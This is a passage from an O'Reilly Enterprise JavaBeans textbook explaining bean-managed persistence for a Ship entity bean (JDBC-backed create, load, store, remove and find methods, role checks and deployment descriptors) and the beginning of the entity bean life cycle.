    public void withdraw(Double withdraw)
        throws WithdrawLimitException {
    Properties props = ejbContext.getEnvironment();
    String value = props.getProperty("withdraw_limit");
        Double limit = new Double(value)
        if (withdraw.doubleValue() > limit.doubleValue())
            throw new WithdrawLimitException(limit);
        else
            balance = balance - withdraw.doubleValue();
        }
    }
    ...
}

When we create the deployment descriptor for the AccountBean, we set the withdraw_limit property in a Properties object, which in turn defines the environment properties for the entire bean. The following code shows how environment properties are set when creating a deployment descriptor:

Properties props = new Properties();
props.put("withdraw_limit","100,000.00");
deploymentDesc.setEnvironmentProperties(props);

In this case, we set the withdraw_limit to be $100,000.00. Environment properties can be used for a variety of purposes; setting limits is just one application. In Section 6.2.6, "Obtaining a Connection to the Database", you will learn how to use Environment properties to obtain database connections.

The getCallerIdentity() method is used to obtain the java.security.Identity object that represents the client accessing the bean. The Identity object might, for example, be used by the Ship bean to track the identity of the client making updates:

 public class ShipBean implements EntityBean {
    String modifiedBy;
    EntityContext context;
    ...
    public void setTonnage(double tons) {
        tonnage = tons;
        Identity identity = context.getCallerIdentity();
        String modifiedBy = identity.getName();
    }
    ...
}

isCallerInRole() determines whether the client invoking the method is a member of a specific role, identified by a Identity object. We can use the same example that we discussed for EJB 1.1: a bank in which a Teller can make withdrawals, but only a Manager can make withdrawals over $10,000.00. This kind of fine-grained access control cannot be addressed by EJB's security attributes because it's a business logic problem. Therefore, we can use isCallerInRole() to augment the automatic access control provided by EJB. In the Account bean, the access control attributes specify that only clients that are members of the Teller role can invoke the withdraw() method. The business logic in the withdraw() method uses the isCallerInRole() method to further refine access control so that only Manager role types, which are also a Teller role type, can withdraw over $10,000.00.

public class AccountBean implements EntityBean {
    int id;
    double balance;
    EntityContext ejbContext;

    public void withdraw(Double withdraw)
    throws WithdrawLimitException, AccessDeniedException {
        if (withdraw.doubleValue() > 10000) {
            Identity managerRole = new RoleIdentity("Manager");
            boolean isManager = ejbContext.isCallerInRole(managerRole);
            if (!isManager) {
                // Only tellers can withdraw more than 10k.
                throw new AccessDeniedException();
            }
        }
        balance = balance - withdraw.doubleValue();
    }
    ...
}

Unfortunately, while the EJB 1.0 specification requires the use of the Identity type as a role identifier, it doesn't specify how a bean should acquire the Identity object.[5] The Identity class is an abstract class, so simply instantiating it is not possible. In our example, a mysterious RoleIdentity object was instantiated with the name of the role being tested. This provided us with an Identity object that could be used in the isCallerInRole(Identity role) method. But where did the RoleIdentity object come from?

[5]The remainder of this section appeared first in jGuru's Server-Side Java column "Create forward-compatible beans in EJB, Part 2" in JavaWorld (http://www.javaworld.com/javaworld/jw-01-2000/jw-01-ssj-ejb2.html ).

The RoleIdentity class is a simple extension of the java.security.Identity class, and provides us with a simple, concrete implementation of Identity that we can instantiate with a string name.[6] Here is the definition of this class:

[6]A similar RoleIdentity class was originally defined by Jian Lin in a post to the ejb-interest mailing list on September 24, 1999.

import java.security.Identity;
public class RoleIdentity extends Identity {
    public RoleIdentity(String name) {
        super(name);
    }
}

Use of the RoleIdentity class works in those EJB servers that limit comparison operations of Identity to the name attribute. In other words, these servers simply compare the string values returned by the getName() methods of the Identity objects.

Some EJB vendors may use more complicated mechanisms for comparing the Identity objects. In these cases, you may have to enhance the RoleIdentity defined here, or use a vendor-specific mechanism for verifying membership in a role. BEA's WebLogic Server, for example, works well with the RoleIdentity, but it also provides a proprietary mechanism for obtaining group Identity objects (i.e., roles to which identities belong). The following code fragment shows how the Account bean would be coded to use the WebLogic security API instead of RoleIdentity :

public class AccountBean implements EntityBean {
    int id;
    double balance;
    EntityContext ejbContext;

    public void withdraw(Double withdraw)
    throws WithdrawLimitException, AccessDeniedException {
        if (withdraw.doubleValue() > 10000) {
            Identity managerRole = (Identity)
                weblogic.security.acl.Security.getRealm().getGroup("Manager");
            boolean isManager = ejbContext.isCallerInRole(managerRole)
            if (!isManager) {
                // Only tellers can withdraw more than 10k.
                throw new AccessDeniedException();
            }
        }
        balance = balance - withdraw.doubleValue();
    }
    ...
}

In general, proprietary APIs like the previous one should be avoided so that the bean remains portable across EJB servers.

The transactional methods (getUserTransaction(),
setRollbackOnly(),
getRollbackOnly()) are described in
 detail in Chapter 8, "Transactions".

6.2.6. Obtaining a Connection to the Database

Titan's business system is based on a relational database, so we need to start with access to the database. The JDBC API provides a standard and convenient way for programs written in Java to access relational databases. We use JDBC throughout this book and assume that you're already familiar with it.

6.2.6.1. EJB 1.1: Using JDBC in EJB

To get access to the database we simply request a connection from a DataSource, which we obtain from the JNDI environment naming context:

private Connection getConnection() throws SQLException {
    try {
      Context jndiCntx = new InitialContext();
      DataSource ds =
         (DataSource)jndiCntx.lookup("java:comp/env/jdbc/titanDB");
      return ds.getConnection();
    }
    catch (NamingException ne) {
      throw new EJBException(ne);
    }
}

In EJB 1.1, every bean has access to its JNDI environment naming context (ENC), which is part of the bean-container contract. In the bean's deployment descriptor, resources such as the JDBC DataSource, JavaMail, and Java Messaging Service can be mapped to a context (name) in the ENC. This provides a portable model for accessing these types of resources. In EJB 1.0, standard mechanisms for accessing JDBC connections and other resources were not defined. Here's the relevant portion of the EJB 1.1 deployment descriptor:

<enterprise-beans>
   <entity>
     <resource-ref>
           <description>DataSource for the Titan database</description>
           <res-ref-name>jdbc/titanDB</res-ref-name>
           <res-type>javax.sql.DataSource</res-type>
           <res-auth>Container</res-auth>
     <resource-ref>
      ...
   <entity>
...
<enterprise-beans>

The <resource-ref> tag is used for any resource ( JDBC, JMS, JavaMail) that is accessed from the ENC. It describes the JNDI name of the resource (<res-ref-name>), the factory type (<res-type>), and whether authentication is performed explicitly by the bean or automatically by the container (<res-auth>). In this example, we are declaring that the JNDI name "jdbc/titanDB" refers to a javax.sql.DataSource resource manager, and that authentication to the database is handle automatically by the container. The JNDI name specified in the <res-ref-name> tag is always relative to the standard JNDI ENC context name, "java:comp/env".

When the bean is deployed, the deployer maps the information in the <resource-ref> tag to a live database. This is done in a vendor-specific manner, but the end result is the same. When a database connection is requested using the JNDI name "java:comp/jdbc/titanDB", a DataSource for the Titan database is returned. Consult your vendor's documentation for details on how to map the DataSource to the database at deployment time.

The getConnection() method provides us with a simple and consistent mechanism for obtaining a database connection for our ShipBean class. Now that we have a mechanism for obtaining a database connection, we can use it to insert, update, delete, and find Ship entities in the database.

6.2.6.2. EJB 1.0: Using JDBC in EJB

To get access to the database, we simply request a connection from the DriverManager. To do this, we add a private method to the ShipBean class called getConnection():

private Connection getConnection() throws SQLException {
   Properties environmentProps = context.getEnvironment();
   String url = environmentProps.getProperty("jdbcURL");
   return DriverManager.getConnection(url);
}

The getConnection() method provides an excellent opportunity to use the EntityContext that was passed to the bean instance at the beginning of its life cycle. We use the EJBContext.getEnvironment() method to obtain properties that help us acquire JDBC connections.

When we create the deployment descriptor for the ShipBean, we use a Properties object to tell the bean what URL to use to obtain a database connection. The following code, taken from the MakeDD class, shows how it's done:

Properties props = new Properties();
props.put("jdbcURL","jdbc:<subprotocol>:<subname>");
shipDD.setEnvironmentProperties(props);

We create a new instance of Properties, add the "jdbcURL" property, and then call the setEnvironmentProperties() method of the DeploymentDescriptor class to pass the properties to the actual bean when it is deployed. The information in the property table is used in the getConnection() method. This technique solves a nasty problem in an elegant, vendor-independent way: how does the bean make use of vendor-specific resources? The JDBC URL used is vendor-specific and therefore shouldn't be made part of the bean itself. However, when you are deploying a bean, you certainly know what vendor-specific environment you are deploying it in; thus the URL logically belongs to the deployment descriptor. In short, the environment properties lets vendor-specific and environment-specific information be defined in the deployment process, where it belongs, and not during the bean development process.

The getConnection() method provides us with a simple and consistent mechanism for obtaining a database connection for our ShipBean class. Now that we have a mechanism for obtaining a database connection we can use it to insert, update, delete, and find Ship entities in the database.

6.2.7. The ejbCreate( ) Method

The ejbCreate() methods are called by the container when a client invokes the corresponding create() method on the bean's home. With bean-managed persistence, the ejbCreate() methods are responsible for adding the new entity to the database. This means that the new version of ejbCreate() will be much more complicated than our container-managed version from earlier examples; with container-managed beans, ejbCreate() doesn't have to do much more than initialize a few fields. The EJB specification also states that ejbCreate() methods in bean-managed persistence must return the primary key of the newly created entity. This is another difference between bean-managed and container-managed persistence; in our container-managed beans, ejbCreate() was required to return void.

The following code contains the ejbCreate() method of the ShipBean, modified for bean-managed persistence. Its return type has been changed from void to the Ship bean's primary key, ShipPK. Furthermore, the method uses the JDBC API to insert a new record into the database based on the information passed as parameters. The changes to the original ejbCreate() method are emphasized in bold.

  public ShipPK ejbCreate(int id, String name,
    int capacity, double tonnage)
        throws CreateException {
        // EJB 1.0: Also throws RemoteException
    if ((id < 1) || (name == null))
        throw new CreateException("Invalid Parameters");
    this.id = id;
    this.name = name;
    this.capacity = capacity;
    this.tonnage = tonnage;

    Connection con = null;
    PreparedStatement ps = null;
    try {
        con = this.getConnection();
        ps = con.prepareStatement(
            "insert into Ship (id, name, capacity, tonnage) " +
            "values (?,?,?,?)");
        ps.setInt(1, id);
        ps.setString(2, name);
        ps.setInt(3, capacity);
        ps.setDouble(4, tonnage);
        if (ps.executeUpdate() != 1) {
            throw new CreateException ("Failed to add Ship to database");
        }
        ShipPK primaryKey = new ShipPK();
        primaryKey.id = id;
        return primaryKey;
    }
    catch (SQLException se) {
        // EJB 1.0: throw new RemoteException(""se);
        throw new EJBException (se);
    }
    finally {
        try {
            if (ps != null) ps.close();
            if (con!= null) con.close();
        } catch(SQLException se) {
            se.printStackTrace();
        }
    }
}

At the beginning of the method, we verify that the parameters are correct, and throw a CreateException if the id is less than 1, or the name is null. This shows how you would typically use a CreateException to report an application logic error.

The ShipBean instance fields are still initialized using the parameters passed to ejbCreate() as before, but now we manually insert the data into the SHIP table in our database. To do so, we use a JDBC PreparedStatement for SQL requests because it makes it easier to see the parameters being used. Alternatively, we could have used a stored procedure through a JDBC CallableStatement or a simple JDBC Statement object. We insert the new bean into the database using an SQL INSERT statement and the values passed into ejbCreate() parameters. If the insert is successful (no exceptions thrown), we create a primary key and return it to the container. If the insert operation is unsuccessful, we throw a new CreateException, which illustrates its use in more ambiguous situation. Failure to insert the record could be construed as an application error or a system failure. In this situation, the JDBC subsystem hasn't thrown an exception, so we shouldn't interpret the inability to insert a record as a failure of the subsystem. Therefore, we throw a CreateException instead of an EJBException (EJB 1.1) or RemoteException (EJB 1.0). Throwing a CreateException provides the application the opportunity to recover from the error, a transactional concept that is covered in more detail in Chapter 8, "Transactions".

Behind the scenes, the container uses the primary key and the ShipBean instance that returned it to provide the client with a remote reference to the new Ship entity. Conceptually, this means that the ShipBean instance and primary key are assigned to a newly constructed EJB object, and the EJB object stub is returned to the client.

Our home interface requires us to provide a second ejbCreate() method with different parameters. We can save work and write more bulletproof code by making the second method call the first:

public ShipPK ejbCreate(int id, String name)
    throws CreateException {
    return ejbCreate(id,name,0,0);
}

NOTE

In EJB 1.0, the return type of the ejbCreate() method is void for container-managed persistence, while the return type for bean managed persistence is the primary key type. However, regardless of the persistence strategy used, the ejbPostCreate() methods always return void.

6.2.8. The ejbLoad( ) and ejbStore( ) Methods

Throughout the life of an entity, its data will be changed by client applications. In the ShipBean, we provide accessor methods to change the name, capacity, and tonnage of the Ship bean after it has been created. Invoking any of these accessor methods changes the state of the ShipBean instance, which must be reflected in the database. It is also necessary to ensure that the state of the bean instance is always up-to-date with the database.

In container-managed persistence, synchronization between the bean and the database takes place automatically; the container handles it for you. With bean-managed persistence, you are responsible for synchronization: the bean must read and write to the database directly. The container works closely with the bean-managed entities by advising them when to synchronize their state through the use of two callback methods: ejbStore() and ejbLoad().

The ejbStore() method is called when the container decides that it is a good time to write the entity bean's data to the database. The container makes these decisions based on all the activities it is managing, including transactions, concurrency, and resource management. Vendor implementations may differ slightly in when the ejbStore() method is called, but this is not the bean developer's concern. In most cases, the ejbStore() method will be called after a business method has been invoked on the bean. Here is the ejbStore() method for the ShipBean:

public void ejbStore() {
// EJB 1.0: throws RemoteException
    Connection con = null;
    PreparedStatement ps = null;
    try {
        con = this.getConnection();
        ps = con.prepareStatement(
            "update Ship set name = ?, capacity = ?, " +
            "tonnage = ? where id = ?");
        ps.setString(1,name);
        ps.setInt(2,capacity);
        ps.setDouble(3,tonnage);
        ps.setInt(4,id);
        if (ps.executeUpdate() != 1) {
        // EJB 1.0: throw new RemoteException ("ejbStore failed");
        throw new EJBException("ejbStore");
        }
    }
    catch (SQLException se) {
        // EJB 1.0: throw new RemoteException("",se);
        throw new EJBException (se);
    }
    finally {
        try {
            if (ps != null) ps.close();
            if (con!= null) con.close();
        } catch(SQLException se) {
            se.printStackTrace();
        }
    }
}

Except for the fact that we are doing an update instead of an insert, this method is similar to the ejbCreate() method we coded earlier. A JDBC PreparedStatement is employed to execute the SQL UPDATE command, and the bean's persistent fields are used as parameters to the request. This method synchronizes the database with the state of the bean.

EJB 1.1 callback methods and exceptions

Notice that we throw an EJBException when a problem occurs. All EJB callback methods declare the EJBException and RemoteException in their throws clause. If you need to throw an exception from one of these callback methods, it must be an EJBException or a subclass. The RemoteException type is included in the method signature to support backward compatibility with EJB 1.0 beans. Throwing the RemoteException from callback methods is deprecated in EJB 1.1, which means that it will not be supported in subsequent versions.

EJB 1.0 callback methods and exceptions

In EJB 1.0, we throw a RemoteException when a problem occurs. All EJB callback methods declare the RemoteException in their throws clause. If you need to throw an exception from one of these callback methods, it must be a RemoteException.

EJB also provides an ejbLoad() method that synchronizes the state of the entity with the database. This method is usually called prior to a new transaction or business method invocation. The idea is to make sure that the bean always represents the most current data in the database, which could be changed by other beans or other non-EJB applications. Here is the ejbLoad() method for a bean-managed ShipBean class:

public void ejbLoad() {
// EJB 1.0: throws RemoteException

    ShipPK pk = (ShipPK) context.getPrimaryKey();
    Connection con = null;
    PreparedStatement ps = null;
    ResultSet result = null;
    try {
        con = this.getConnection();
        ps = con.prepareStatement(
            "select name, capacity, tonnage from Ship where id = ?");
        ps.setInt(1,pk.id);
        result = ps.executeQuery();
        if (result.next()) {
            id = id;
            name = result.getString("name");
            capacity = result.getInt("capacity");
            tonnage = result.getDouble("tonnage");
        } else {
            // EJB 1.0: throw new RemoteException();
            throw new EJBException();
        }
    } catch (SQLException se) {
        // EJB 1.0: throw new RemoteException("",se);
        throw new EJBException(se);
    }
    finally {
        try {
            if (result != null) result.close();
            if (ps != null) ps.close();
            if (con!= null) con.close();
        } catch(SQLException se) {
            se.printStackTrace();
        }
    }
}

To execute the ejbLoad() method we need a primary key. To get a primary key, we query the bean's EntityContext. Note that we don't get the primary key directly from the ShipBean's id field because we cannot guarantee that this field is always valid--the ejbLoad() method might be populating the bean instance's state for the first time, in which case the fields would all be set to the default values. This situation would occur following bean activation. We can guarantee that the EntityContext for the ShipBean is valid because the EJB specification requires that the bean instance EntityContext reference is valid before the ejbLoad() method can be invoked. More about this in the life cycle section later in this chapter.

6.2.9. The ejbRemove( ) Method

In addition to handling their own inserts and updates, bean-managed entities must also handle their own deletions. When a client application invokes the remove method on the EJB home or EJB object, that method invocation is delegated to the bean-managed entity by calling ejbRemove(). It is the bean developer's responsibility to implement an ejbRemove() method that deletes the entity's data from the database. Here's the ejbRemove() method for our bean-managed ShipBean:

public void ejbRemove() {
// EJB 1.0: throws RemoteException
    Connection con = null;
    PreparedStatement ps = null;
    try {
        con = this.getConnection();
        ps = con.prepareStatement("delete from Ship where id = ?");
        ps.setInt(1, id);
        if (ps.executeUpdate() != 1) {
            // EJB 1.0 throw new RemoteException("ejbRemove");
            throw new EJBException("ejbRemove");
        }
    }
    catch (SQLException se) {
        // EJB 1.0: throw new RemoteException("",se);
        throw new EJBException (se);
    }
    finally {
        try {
            if (ps != null) ps.close();
            if (con!= null) con.close();
        } catch(SQLException se){
            se.printStackTrace();
        }
    }
}

6.2.10. ejbFind( ) Methods

In bean-managed EntityBeans, the find methods in the home interface must match the ejbFind methods in the actual bean class. In other words, for each method named find lookup-type() in the home interface, there must be a corresponding ejbFind lookup-type() method in the bean implementation with the same arguments and exceptions. When a find method is invoked on an EJB home, the container delegates the find lookup-type() to a corresponding ejbFind lookup-type() method on the bean instance. The bean-managed entity is responsible for finding records that match the find requests. In ShipHome, there are two find methods:

public interface ShipHome extends javax.ejb.EJBHome {

    public Ship findByPrimaryKey(ShipPK primaryKey)
      throws FinderException, RemoteException;
    public Enumeration findByCapacity(int capacity)
      throws FinderException, RemoteException;
}

And here are the signatures of the corresponding ejbFind methods in the ShipBean:

public class ShipBean extends javax.ejb.EntityBean {

    public ShipPK ejbFindByPrimaryKey(ShipPK primaryKey)
      throws FinderException, RemoteException {}
    public Enumeration ejbFindByCapacity(int capacity)
      throws FinderException, RemoteException {}
}
EJB 1.1 return types for find methods

Aside from the names, there's one difference between these two groups of methods. The find methods in the home interface return either an object implementing the bean's remote interface--in this case, Ship --or a collection of such objects in the form of a java.util.Enumeration or java.util.Collection. The ejbFind methods in the bean class return either a primary key for the appropriate bean--in this case, ShipPK--or a collection of primary keys. The methods that return a single object (whether a remote interface or a primary key) are used whenever you need to look up a single reference to a bean. If you are looking up a group of references (for example, all ships with a certain capacity), you have to use the method that returns either the Collection or Enumeration type. In either case, the container intercepts the primary keys and converts them into remote references for the client.

EJB 1.0 return types for find methods

In EJB 1.0, you are not allowed to write find and ejbFind methods that return arrays, vectors, or other Collection types. The find methods in the home interface return either an object implementing the bean's remote interface--in this case, Ship--or an Enumeration of such objects. The ejbFind methods in the bean class return either a primary key for the appropriate bean or an Enumeration of primary keys. The methods that return a single object (whether a remote interface or a primary key) are used whenever you need to look up a single reference to a bean. If you are looking up a group of references (for example, all ships with a certain capacity), you have to use the method that returns a serializable implementation of Enumeration. In either case, the container intercepts the primary keys and converts them into remote references for the client.

It shouldn't come as a surprise that the object you return--whether it's a primary key or a remote interface--must be appropriate for the type of bean you're defining. For example, you shouldn't put find methods in a Ship bean to look up and return Cabin objects. If you need to return collections of a different bean type, use a business method in the remote interface, not a find method from the home interface.

Both find methods in the ShipBean class methods throw a FinderException if a failure in the request occurs when an SQL exception condition is encountered. The findByPrimaryKey() throws the ObjectNotFoundException if there are no records in the database that match the id argument.

EJB 1.1 empty sets and exceptions

The findByCapacity() method returns an empty collection, and not a null reference, if no SHIP records were found with a matching capacity. Find methods also throw FinderException and EJBException , in addition to any application-specific exceptions that you consider appropriate.

EJB 1.0 empty sets and exceptions

The findByCapacity() method returns a null if no SHIP records were found with a matching capacity. Find methods also throw FinderException and RemoteException. The find methods can also throw any application-specific exceptions that you consider appropriate.

It is mandatory that all entity home interfaces include the method findByPrimaryKey(). This method returns a single remote reference and takes one parameter, the primary key for that bean type. You cannot deploy an entity bean that doesn't include a findByPrimaryKey() method in its home interface.

Following the rules outlined earlier, we can define two ejbFind methods in ShipBean that match the two find methods defined in the ShipHome:

public ShipPK ejbFindByPrimaryKey(ShipPK primaryKey)
    throws FinderException, {
    // EJB 1.0: Also throws RemoteException
    Connection con = null;
    PreparedStatement ps = null;
    ResultSet result = null;
    try {
        con = this.getConnection();
        ps = con.prepareStatement(
            "select id from Ship where id = ?");
        ps.setInt(1, primaryKey.id);
        result = ps.executeQuery();
        // does ship id exist in database?
        if (!result.next()){
            throw new ObjectNotFoundException(
                "Cannot find Ship with id = "+id);
        }
    } catch (SQLException se) {
        // EJB 1.0: throw new RemoteException("", se);
        throw new EJBException(se);
    }
    finally {
        try {
            if (result != null) result.close();
            if (ps != null) ps.close();
            if (con!= null) con.close();
        } catch(SQLException se) {se.printStackTrace();}
    }
    return primaryKey;
}
public Enumeration ejbFindByCapacity(int capacity)
    throws FinderException {
    // EJB 1.0: Also throws RemoteException
    Connection con = null;
    PreparedStatement ps = null;    ResultSet result = null;
    try {
        con = this.getConnection();
        ps = con.prepareStatement(
            "select id from Ship where capacity = ?");
        ps.setInt(1,capacity);
        result = ps.executeQuery();
        Vector keys = new Vector();
        while(result.next()) {
        ShipPK shipPk = new ShipPK();
        shipPk.id = result.getInt("id");
        keys.addElement(shipPk);
        }
        // EJB 1.1: always return collection, even if empty.
        return keys.elements();
        // EJB 1.0: return null if collection is empty.
        // return (keys.size() > 0) ? keys.elements() : null;

    }
    catch (SQLException se) {
        // EJB 1.0: throw new RemoteException("",se);
        throw new EJBException (se);
    }
    finally {
        try {
            if (result != null) result.close();
            if (ps != null) ps.close();
            if (con!= null) con.close();
        } catch(SQLException se){
            se.printStackTrace();
        }
    }
}

The mandatory findByPrimaryKey() method uses the primary key to locate the corresponding database record. Once it has verified that the record exists, it simply returns the primary key to the container, which then uses the key to activate a new instance and associate it with that primary key at the appropriate time. If the there is no record associated with the primary key, the method throws a ObjectNotFoundException.

The ejbFindByCapacity() method returns an enumeration of primary keys that match the criteria passed into the method. Again, we construct a prepared statement that we use to execute our SQL query. This time, however, we expect multiple results so we use the java.sql.ResultSet to iterate through the results, creating a vector of primary keys for each SHIP_ID returned.

Find methods are not executed on bean instances that are currently supporting a client application. Only bean instances that are not assigned to an EJB object (instances in the instance pool) are supposed to service find requests, which means that the ejbFind() method in the bean instance has somewhat limited use of its EntityContext. The getPrimaryKey() and getEJBObject() methods will throw exceptions because the bean instance is a pooled instance and is not associated with a primary key or EJBObject . Where do the objects returned by a find method come from? This seems like a simple enough question, but the answer is surprisingly complex. Remember that a find method isn't executed by a bean instance that is actually supporting the client; the container finds an idle bean instance from the instance pool. The container is responsible for creating the EJB objects and remote references for the primary keys returned by the ejbFind method in the bean class. As the client accesses these remote references, bean instances are swapped into the appropriate EJB objects, loaded with data, and made ready to service the clients requests.

6.2.11. EJB 1.1: Deploying the Bean-Managed Ship Bean

With a complete definition of the Ship bean, including the remote interface, home interface, and primary key, we are ready to create a deployment descriptor. Here is the XML deployment descriptor for EJB 1.1. This deployment descriptor is not significantly different from the descriptor we created for the container-managed Ship bean earlier. In this deployment descriptor the persistence-type is Bean and there are no container-managed field declarations. We also must declare the DataSource resource factory that we use to query and update the database.

<?xml version="1.0"?>

<!DOCTYPE ejb-jar PUBLIC "-//Sun Microsystems, Inc.//DTD Enterprise
JavaBeans 1.1//EN" "http://java.sun.com/j2ee/dtds/ejb-jar_1_1.dtd">

<ejb-jar>
 <enterprise-beans>
   <entity>
      <description>
            This bean represents a cruise ship.
      </description>
      <ejb-name>ShipBean</ejb-name>
      <home>com.titan.ship.ShipHome</home>
      <remote>com.titan.ship.Ship</remote>
      <ejb-class>com.titan.ship.ShipBean</ejb-class>
      <persistence-type>Bean</persistence-type>
      <prim-key-class>com.titan.ship.ShipPK</prim-key-class>
      <reentrant>False</reentrant>

      <resource-ref>
           <description>DataSource for the Titan database</description>
           <res-ref-name>jdbc/titanDB</res-ref-name>
           <res-type>javax.sql.DataSource</res-type>
           <res-auth>Container</res-auth>
      </resource-ref>

  </entity>
 </enterprise-beans>

 <assembly-descriptor>
   <security-role>
      <description>
         This role represents everyone who is allowed full access
         to the Ship bean.
      </description>
     <role-name>everyone</role-name>
   </security-role>

   <method-permission>
     <role-name>everyone</role-name>
     <method>
         <ejb-name>ShipBean</ejb-name>
         <method-name>*</method-name>
     </method>
   </method-permission>

   <container-transaction>
     <method>
        <ejb-name>ShipBean</ejb-name>
        <method-name>*</method-name>
     </method>
     <trans-attribute>Required</trans-attribute>
   </container-transaction>
 </assembly-descriptor>
</ejb-jar>

Save the Ship bean's XML deployment descriptor into the com/titan/ship directory as ejb-jar.xml and package it a JAR file:

\dev % jar cf ship.jar com/titan/ship/*.class META-INF/ejb-jar.xml

F:\..\dev>jar cf ship.jar com\titan\ship\*.class META-INF\ejb-jar.xml

To test this new bean, use the client application that we used to test the container-managed Ship bean. You will probably need to change the names and IDs of the ships you create; otherwise, your inserts will cause a database error. In the SQL statement that we defined to create the SHIP table, we placed a primary key restriction on the ID column of the SHIP table so that only unique ID values can be inserted. Attempts to insert a record with a duplicate ID will cause an SQL-Exception to be thrown.

6.2.12. EJB 1.0: Deploying the Bean-Managed Ship Bean

To deploy the bean-managed ShipBean, you can reuse the MakeDD application we developed earlier to create a serialized DeploymentDescriptor. You will need to comment out the section that sets the container-managed fields in the EntityDescriptor, as follows:

/* COMMENTED OUT FOR BEAN-MANAGED SHIP BEAN
*****************************************
Class beanClass = ShipBean.class;
Field [] persistentFields = new Field[4];
persistentFields[0] = beanClass.getDeclaredField("id");
persistentFields[1] = beanClass.getDeclaredField("name");
persistentFields[2] = beanClass.getDeclaredField("capacity");
persistentFields[3] = beanClass.getDeclaredField("tonnage");
shipDD.setContainerManagedFields(persistentFields);
************************
*/

Not specifying any container-managed fields tells the EJB deployment tools that this bean uses bean-managed persistence.

We also need to add some code to set the environment properties for the ShipBean:

Properties props = new Properties();
props.put("jdbcURL","jdbc:subprotocol:subname");
shipDD.setEnvironmentProperties(props);

This code defines the property "jdbcURL", which holds the part of the URL that we need to get a database connection. Replace the URL in this example with whatever is appropriate for the EJB server and JDBC driver that you are using. Our bean will be able to access the properties defined here through the Entity-Context and use this URL to get a database connection.

You will need to consult your EJB vendor's documentation to determine what JDBC URL is needed for your specific EJB server and database combination. BEA's WebLogic Server, for example, uses a pooled driver that is accessed using the JDBC URL, jdbc:weblogic:jts:ejbPool. Other EJB servers and database combinations will use different JDBC URLs.

After running MakeDD to generate the deployment descriptor, use the JAR utility to archive the Ship bean for deployment. Archiving this version of the Ship bean is no different than archiving the earlier version.

To test this new bean, use the client application that we used to test the container-managed Ship bean. You will probably need to change the names and IDs of the ships you create; otherwise, your inserts will cause a database error. In the SQL statement that we defined to create the SHIP table, we placed a primary key restriction on the ID column of the SHIP table so that only unique ID values can be inserted. Attempts to insert a record with a duplicate ID will cause an SQL-Exception to be thrown.

Previous | Home | Next
6.1. Container-Managed Persistence | Book Index | 6.3. The Life Cycle of an Entity Bean
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Life Cycle of an Entity Bean (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

6.3. The Life Cycle of an Entity Bean

To understand how to best develop entity beans, it is important to understand how the container manages them. The EJB specification defines just about every major event in an entity bean's life, from the time it is instantiated to the time it is garbage collected. This is called the life cycle, and it provides the bean developer and EJB vendors with all the information they need to develop beans and EJB servers that adhere to a consistent protocol. To understand the life cycle, we will follow an entity instance through several life-cycle events and describe how the container interacts with the entity bean during these events. Figure 6-2 illustrates the life cycle of an entity instance.

Figure 6-2. Entity bean life cycle

We will examine the life cycle of an entity bean and identify the points at which the container would call each of the methods described in the EntityBean interface. Bean instances must implement the EntityBean interface, which means that invocations of the callback methods are invocations on the bean instance itself.

6.3.1. Does Not Exist

The bean instance begins life as a collection of files. Included in that collection are the bean's deployment descriptor, the remote interface, the home interface, the primary key, and all the supporting classes generated at deployment time. At this stage, no instance of the bean exists.

6.3.2. The Pooled State

When the EJB server is started, it reads the bean's files and instantiates several instances of the bean, which it places in a pool. The instances are created by calling the Class.newInstance() method on the bean class. The newInstance() method creates an instance using the default constructor, which has no arguments.[7] This means that the persistent fields of the bean instances are set at their default values; the instances themselves do not represent any data in the database.

[7] Constructors should never be defined in the bean class. The default no-argument constructor must be available to the container.

Immediately following the creation of an instance, and just before it is placed in the pool, the container assigns the instance its EntityContext. The EntityContext is assigned by calling the setEntityContext() method defined in the EntityBean interface and implemented by the bean class. After the instance has been assigned its context, it is entered into the instance pool.

In the instance pool, the bean instance is available to the container as a candidate for serving client requests. Until it is requested, however, the bean instance remains inactive unless it is used to service a find request. Bean instances in the Pooled state typically service find requests, which makes perfectly good sense because they aren't busy and find methods don't rely on the bean instance's state. All instances in the Pooled state are equivalent. None of the instances are assigned to an EJB object, and none of them has meaningful state.

At each stage of the entity bean's life cycle the bean container provides varying levels of access. For example, the EJBContext.getPrimary() method will not work if it's invoked during in the ejbCreate() method, but it does work when called in the ejbPostCreate() method. Other EJBContext methods have similar restrictions, as does the JNDI ENC (EJB 1.1). While this section touches on the accessibility of these methods, a complete table that details what is available in each bean class method (ejbCreate(), ejbActivate(), ejbLoad(), etc.) can be found in Appendix B, "State and Sequence Diagrams".

6.3.3. The Ready State

When a bean instance is in the Ready State, it can accept client requests. A bean instance moves to the Ready State when the container assigns it to an EJB object. This occurs under two circumstances: when a new entity bean is being created or when the container is activating an entity.

6.3.3.1. Transitioning from the Pooled state to the Ready State via creation

When a client application invokes the create() method on an EJB home, several operations must take place before the EJB container can return a remote reference (EJB object) to the client. First, an EJB object must be created on the EJB server. Once the EJB object is created, a bean instance is taken from the instance pool and assigned to the EJB object. Next, the create() method, invoked by the client, is delegated to its corresponding ejbCreate() method on the bean instance. After the ejbCreate() method completes, a primary key is created. In container-managed persistence, the container instantiates and populates the key automatically; in bean-managed persistence, the bean instantiates and populates the primary key and returns it from the ejbCreate() method. The key is embedded in the EJB object, providing it with identity. Once the EJB object has identity, the bean instance's EntityContext can access information specific to that EJB object, including the primary key and its own remote reference. While the ejbCreate() method is executing, the properties, security, and transactional information is available.

When the ejbCreate() method is done, the ejbPostCreate() method on the bean instance is called. At this time, the bean instance can perform any post-processing that is necessary before making itself available to the client. While the ejbPostCreate() executes, the bean's primary key and access to its own remote reference is available through the EJBContext.

Finally, after the successful completion of the ejbPostCreate() method, the home is allowed to return a remote reference--an EJB object stub--to the client. The bean instance and EJB object are now ready to service method requests from the client. This is one way that the bean instance can move from the Pooled state to the Ready State.

6.3.3.2. Transitioning from the Pooled state to the Ready State via a find method

When a find method is executed, each bean that is found will be realized by transitioning an instance from the Pooled state to the Ready State. When a bean is found, it is assigned to an EJB object and its remote reference is returned to the client. A found bean follows the same protocol as a passivated bean; it is activated when the client invokes a business method. A found bean can be considered to be a passivated bean and will move into the Ready State through activation as described in the next section.

6.3.3.3. Transitioning from the Pooled state to the Ready State via activation

